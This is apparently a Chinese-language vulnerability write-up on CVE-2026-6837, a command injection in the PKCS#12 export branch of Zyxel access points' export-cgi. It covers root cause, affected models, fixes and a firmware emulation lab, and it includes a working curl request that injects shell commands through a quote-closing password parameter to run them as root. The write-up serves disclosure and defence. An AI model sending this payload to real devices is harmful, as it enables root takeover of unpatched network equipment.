CVE-2026-6837：Zyxel export-cgi PKCS#12 导出密码命令注入与完整仿真复现

幻泉之洲

2026年8月20日 10:49
北京

在小说阅读器读本章

去阅读

本文拆解 Zyxel 多款无线 AP 中 export-cgi 的 PKCS#12 导出路径命令注入漏洞。攻击者在管理员会话下构造带引号与分号的证书导出密码参数，可让设备以 root 权限执行任意命令。文章给出最短复现请求、根因分析、受影响型号、修复方向，以及完全基于固件仿真的实验环境搭建过程。

漏洞位置与影响一览

目标组件是 /cgi-bin/export-cgi，分支参数 category=pkcs12。成功利用后可在设备上以 root 身份执行系统命令。Zyxel 官方公告列了 18 款受影响 AP 型号。这个漏洞的仿真路径完全在用户态 AArch64 重宿主环境里跑通，没碰过物理硬件。

最短复现：一行 curl 拿到 root

最直接的证明是这个请求：

curl -sk \
 -H 'Cookie: authtok=' \
 'https://[target]/cgi-bin/export-cgi?category=pkcs12&arg0=&arg1=x%22;id;echo%20COMMAND\_INJECTION\_CONFIRMED;#'

响应体原样返回了命令输出：

uid=0 gid=0(root) groups=0(root)
COMMAND\_INJECTION\_CONFIRMED
Status: 500 Internal Server Error !

命令输出直接通过 HTTP 返回，不用再外带信道。这一点让漏洞的证明成本很低。

根因：把证书名和密码拼进 shell 命令

漏洞点在于导出逻辑用证书名和导出密码拼了一条 shell 命令，然后把整串交给 system()。arg1 里的双引号提前闭合了原本的字符串，剩下部分就变成了 shell 语法。

逆向出来的命令模板是：

/bin/zysh -p 200 -e \"configure terminal ca \_export category local name %s password %s\"

汇编码更直接：

400dd0: bl  snprintf(cmd\_buf, 4096, format\_string, arg0, arg1)
400dd8: bl  unlink(tmp\_path)
400de0: bl  system(cmd\_buf)

当 arg1 为 x\"; id; echo COMMAND_INJECTION_CONFIRMED; # 时，最终命令变成：

/bin/zysh -p 200 -e \"configure terminal ca \_export ... password x\"; id; echo COMMAND\_INJECTION\_CONFIRMED; #

引号闭合后，id 和 echo 都被 shell 执行。这个漏洞本质上是典型的 CWE-78：把不可信输入交给 OS 命令解释器。

复现条件与边界

有几个限制得说清楚。这个路径不是 export-cgi 的全部代码，只是 PKCS#12 导出分支。目标证书对象必须先存在于设备证书库里。直接利用的路径需要管理员会话。

• 利用分支是 PKCS#12 导出路径，其他 export-cgi 分支未验证。
• 设备证书库中必须有可导出的本地证书对象。
• 直接利用需要管理员身份。

换句话说，一台完全未配置的出厂设备默认不一定会暴露这个分支。但在实际管理场景里，只要启用证书管理并创建了本地证书，这个路径就是正常管理工作流的一部分。还有一个细节：只带分号的 payload 没触发 marker，可靠的触发方式是引号闭合——这正符合命令模板的预测。

官方影响范围与修复方向

Zyxel 在 2026 年 8 月 4 日的公告里列出了 18 款受影响 AP 型号：

NWA50AX, NWA50AX PRO, NWA55AXE, NWA55AX PRO, NWA55AX PTP, NWA90AX,
NWA90AX PRO, NWA110AX, NWA210AX, NWA220AX-6E, WAX300H, WAX510D,
WAX610D, WAX620D-6E, WAX630S, WAX640S-6E, WAX650S, WAX655E

修复方向很直接：别再拿不可信的证书导出输入拼 shell 命令了。把结构化参数传进非 shell 执行路径是干净方案。如果实在绕不开 shell，也得做真正的参数分离，而不是引号字符串拼装。

仿真实验：从固件到复现

整条路径都是在仿真环境里跑出来的，没碰物理设备。下面几个脚本各自干什么、怎么跑，都写清楚。更完整的重宿主笔记在公开仓库：Zyxel WAX650S research notebook[1]。

extract\_710ABRM4C0.sh

脚本文件：extract\_710ABRM4C0.sh[2]。Bash 写的，用了 dumpimage、fdtget、ubireader_extract_images 和 unsquashfs。它把厂商 FIT 镜像拆开，提取 root UBI 卷，再解包 SquashFS 根文件系统。

./emulation/extract\_710ABRM4C0.sh ./firmware.bin ./710ABRM4C0\_extracted

跑完会得到 bin_images/ 目录树、rootfs/ 目录，终端输出 Firmware: 和 Rootfs extracted to:。

prepare\_zyxel\_runroot.py

脚本文件：prepare\_zyxel\_runroot.py[3]。Python 3 写的，把提取出的固件整理成可运行的 runroot，补齐链接、可写路径和用户态需要的桩文件。

python3 ./emulation/prepare\_zyxel\_runroot.py \
 --src ./710ABRM4C0\_extracted/rootfs \
 --dst ./runroot

跑完得到一个就绪的 runroot/ 树，里面有 Zyxel 运行时目录、符号链接和启动占位文件。

run\_zyxel\_lab.sh 与 zyxel\_bwrap\_env.sh

脚本文件：run\_zyxel\_lab.sh[4]和 zyxel\_bwrap\_env.sh[5]。Bash 写的，用了 qemu-aarch64-static、bwrap 和 curl。它启动重宿主的 AArch64 用户态，绑定挂载运行时视图，并暴露 web 通道的状态和健康检查命令。

./emulation/run\_zyxel\_lab.sh rebuild --phase core
./emulation/run\_zyxel\_lab.sh health --phase core

核心通道进入健康状态后，lighttpd 和相关服务的进程与日志留在 .lab-state/ 下。

seed\_zyxel\_ipc.py

参考资料

[1] https://github.com/minanagehsalalma/zyxel-wax650s-research-notebook-public

[2] https://github.com/minanagehsalalma/CVE-2026-6837-zyxel-export-cgi-command-injection/blob/main/emulation/extract\_710ABRM4C0.sh

[3] https://github.com/minanagehsalalma/CVE-2026-6837-zyxel-export-cgi-command-injection/blob/main/emulation/prepare\_zyxel\_runroot.py

[4] https://github.com/minanagehsalalma/CVE-2026-6837-zyxel-export-cgi-command-injection/blob/main/emulation/run\_zyxel\_lab.sh

[5] https://github.com/minanagehsalalma/CVE-2026-6837-zyxel-export-cgi-command-injection/blob/main/emulation/zyxel\_bwrap\_env.sh

[6] https://minanagehsalalma.github.io/CVE-2026-6837-zyxel-export-cgi-command-injection/